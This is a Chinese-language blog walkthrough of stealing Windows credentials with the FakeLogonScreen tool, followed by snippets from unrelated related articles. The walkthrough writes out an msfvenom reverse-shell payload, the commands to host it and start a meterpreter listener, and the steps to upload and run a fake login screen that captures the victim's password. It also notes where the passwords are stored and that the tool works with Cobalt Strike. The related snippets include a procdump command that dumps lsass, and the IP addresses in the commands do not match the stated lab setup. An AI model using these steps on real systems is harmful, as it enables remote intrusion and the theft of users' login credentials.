FakeLogonScreen抓取Windows凭证

实践中使用的配置

攻击者:

操作系统: Kali Linux 2020.1

IP: 192.168.1.13

目标:

作业系统: Windows 10(Build 18363)

IP: 192.168.1.11

情境

有一个系统与攻击者连接到相同的网络,并且攻击者正在寻找目标系统的凭据。目标已经拥有的信息是IP地址和OS系统的知识。这种信息很容易获得。

有效载荷创建

现在,我开始使用msfvenom工具根据目标系统的OS来制作有效负载。我以LHOST的身份提供了Kali的IP地址。当目标计算机运行Windows时,我将有效负载设置为可以轻松执行的可执行文件。制作有效负载之后,我运行了Python One-liner以创建一个HTTP服务器,该服务器将在目标计算机的端口80上托管有效负载。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.233.128 lport=4444 -f exe >> payload.exepython -m SimpleHTTPServer 80

现在,在现实生活中,攻击者将使用某种社会工程攻击来操纵目标用户,以将恶意负载下载到他们的系统上。这可以在进行实际攻击之前很长时间完成。

起始侦听器

由于我们已经准备好并托管了有效负载。现在我们需要启动一个侦听器,在该侦听器中,我们将从有效负载中接收会话。设置正确的配置后,我直接进入目标计算机并执行了有效负载。同样,这是一个实验室环境演示。实际情况会有所不同。

上载FakeLogonScreen可执行文件

在获得Meterpreter会话之后,我们将FakeLogonScreen.exe上载到目标系统。可以在克隆的目录中找到此可执行文件。成功上传后,我们使用shell命令进入目标计算机的命令行。现在,如给定的图像所示,运行可执行文件。

use multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.233.128set lport 4444runupload FakeLogonScreen.exeshellFakeLogonScreen.exe

在目标端输入凭证

一旦通过外壳运行了可执行文件,目标系统上的所有当前窗口就会最小化,并弹出登录屏幕,如给定的图像所示。这似乎是一个非常真实的登录屏幕。目标用户假定必须有意外注销。因此,为了承担他/她的工作,目标用户在不知不觉中输入了凭据。

现在,为了证明已检查密码,我们首先输入了错误的凭据。登录屏幕返回错误“密码不正确。再试一次”。这证明目标用户必须输入有效的凭据才能通过。

接下来,我们输入了有效的凭据,然后看到所有最小化的窗口都恢复了原来的状态。

拿取凭证

让我们回到攻击者机器上,看看我们是否能够获取这些密码。如下图所示,我们看到FakeLogonScreen侦听器的工作方式类似于按键记录器。我们首先在密码字段中输入“密码错误”,以检查错误的情况。然后,我们输入正确的密码“ 123”,并成功获取了目标用户的密码。

附加信息

我们先前下载的zip文件中还有另一个可执行文件。它被命名为“ FakeLogonScreenToFile.exe”。该文件的工作方式类似,但是除了显示密码外,还将密码存储在以下位置:

%LOCALAPPDATA%\ Microsoft \ user.db

该工具也可以在Windows 7上使用。尽管已经达到其终止寿命,但仍有大量系统在生产环境中运行Windows 7。如果需要,可以在“ DOTNET35”目录中找到它。

您还可以集成此工具以与Cobalt Strike一起使用。在这里查看

缓解措施

  • 验证下载源。
  • 监视AppData目录中的user.db文件。
  • 正确检查登录屏幕中的所有链接。
  • 实施较短的密码更改策略。

FakeLogonScreen抓取Windows凭证的更多相关文章

  1. mimikatz2.0抓取WINDOWS密码

    看吾爱的,刚好问同事说这个也用过,以后内网渗透的话比较方便 http://www.52pojie.cn/thread-264895-1-1.html ========================= ...

  2. 抓取windows系统进程

    最近在开发辅流分享界面,然后之前的windows编程的代码都忘记了,翻到了一个博客,具体的还是去msdn去查函数,这个是入门的链接如下: http://blog.csdn.net/zdragon200 ...

  3. 从网页上抓取Windows补丁信息然后整型输出(Python)

    Powershell实现:http://www.cnblogs.com/IvanChen/p/4488246.html 今天通过Python实现: # coding=utf-8 import re i ...

  4. 绕过杀毒软件抓取windows密码

    使用procdump,由于是微软的东西,带微软签名杀软不会报毒. procdump -accepteula -ma lsass.exe lsass.dmp copy出 lsass.dmp到本机. mi ...

  5. 从网页上抓取Windows补丁信息然后整型输出(PowerShell)

    $report = [pscustomobject]@{'Date' = $null; 'MSRC' = $null; 'KB' = $null; 'Severity' = $null; 'Versi ...

  6. windows密码抓取工具-mimikatz

    前言 介绍一下windows的密码hash值的组成: Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如: Administrator::C8825D ...

  7. 【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志

    问题描述 在App Service For Windows的环境中,我们可以通过ArmClient 工具发送POST请求在Web应用的实例中抓取网络日志,但是在App Service For Linu ...

  8. windows中抓取hash小结(上)

    我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个"前提"-----如何在windows系 ...

  9. Windows Phone & Windows App应用程序崩溃crash信息抓取方法

    最近有用户反馈,应用有崩溃的情况,可是本地调试却无法重现问题,理所当然的,我想到了微软的开发者仪表盘,可以查看一段时间内的carsh记录,不过仪表盘生成carsh记录不是实时的,而且生成的报告查看非常 ...

随机推荐

  1. 添加学生信息(Javaweb)

    add.jsp <%@ page language="java" import="java.util.*" pageEncoding="UTF- ...

  2. Xadmin的实现

    一.启动 1.前提 配置setting.py文件 INSTALLED_APPS 2.定位Xadmin,找到对应的类 'Xadmin.apps.XadminConfig', 3.根据admin源码,实现 ...

  3. 8.for循环及练习

    For循环:   虽然所有循环结构都可以用 while 或者 do...while 表示,但Java提供了另一种语句— —for循环,使一些循环结构变的更加简单. for 循环语句是支持迭代的一种通用 ...

  4. C# 实现验证码识别,使用AspriseOCR.dll

    验证码(Captcha)基于十道安全栅栏, 为网页.App.小程序开发者打造立体.全面的人机验证,最大程度地保护注册登录.活动秒杀.点赞发帖.数据保护等各大场景下的业务安全.要做自动化脚本程序,就要能 ...

  5. Mysql 8+ 版本完全踩坑记录

    问题是这样 刚霍霍了一台腾讯云服务器需要安装mysql 然后就选择了8+这个版本. 安装步骤网上有的是. 我只写最主要的部分 绝对不出错 外网可访问 .net java都可以调用 其实不指望有人看 就 ...

  6. KMP——强大的next数组

    \(KMP\) 的原理不在这里仔细讲了,主要说说最近刷题总结出的 \(next\) 数组的强大功能. 部分例题来自<信息学奥赛一本通>的配套练习. 基于定义--字符串相同前后缀 " ...

  7. [bzoj1297] [洛谷P4159] [SCOI2009] 迷路

    Description windy在有向图中迷路了. 该有向图有 N 个节点,windy从节点 0 出发,他必须恰好在 T 时刻到达节点 N-1. 现在给出该有向图,你能告诉windy总共有多少种不同 ...

  8. chrome最耐看的主题

    google chrome最耐看的主题James White大家可以尝试一下

  9. python类型-字典

    字典是python语言中唯一的映射类型,映射对象里哈希值(键,key)和指向的对象(值,value)是一对多的关系.一个字典对象是可变的,是一个容器类型,可存储任意个数的python对象,其中也可以包 ...

  10. python类型-序列

    注:本文档主要是学习<Python核心编程(第二版)>时做的资料整理. 1.序列 序列的成员是有序排列的,并且可以通过下标偏移量访问到它的一个或者几个成员,包括字符串(普通字符串和Unic ...